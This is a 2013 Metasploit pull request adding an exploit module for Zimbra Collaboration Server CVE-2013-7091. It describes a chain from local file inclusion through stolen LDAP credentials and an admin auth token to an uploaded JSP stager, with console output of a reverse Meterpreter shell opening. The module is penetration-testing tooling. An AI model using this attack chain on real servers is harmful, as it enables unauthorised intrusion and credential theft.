rapid7/metasploit-framework — pull request #2774 by Mekanismen (2013-12-17 18:39:54+00:00)
Title: added module for Zimbra Collaboration Server CVE-2013-7091

Description:
A Local file inclusion exists in versions 8.0.2, 7.2.2 and possibly other versions which allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen credentials enables the attacker to make requests to the service/admin/soap API. This can then be used to create an authentication token for the admin web interface where an administrative user can be added or code execution could be leveraged.

Tested on Zimbra Collaboration Server 8.0.2 with Ubuntu Server 12.04.

Verification:
Install Ubuntu Server 12.04 and Zimbra Collaboration Server 8.0.2
http://files2.zimbra.com/downloads/8.0.2_GA/zcs-NETWORK-8.0.2_GA_5569.UBUNTU12_64.20121210115144.tgz

I also have .pcaps if it's of interest.

DEMO
```
msf exploit(zimbra_lfi) > check
[*] The target appears to be vulnerable.
msf exploit(zimbra_lfi) > exploit

[*] Started reverse handler on 192.168.1.76:4444
[*] 192.168.1.79:7071 - Getting login credentials...
[+] 192.168.1.79:7071 - Got login credentials!
[*] 192.168.1.79:7071 - Getting auth token...
[+] 192.168.1.79:7071 - Got auth token!
[*] 192.168.1.79:7071 - Uploading .JSP stager and payload
[+] 192.168.1.79:7071 - Stager and payload uploaded!
[*] 192.168.1.79:7071 - Stager at 192.168.1.79:7071/downloads/jYHoMuZQ.jsp
[*] 192.168.1.79:7071 - Executing payload!
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1228800 bytes) to 192.168.1.79
[*] Meterpreter session 7 opened (192.168.1.76:4444 -> 192.168.1.79:60765) at 2013-12-17 19:20:58 +0100

meterpreter > pwd
/opt/zimbra/log
```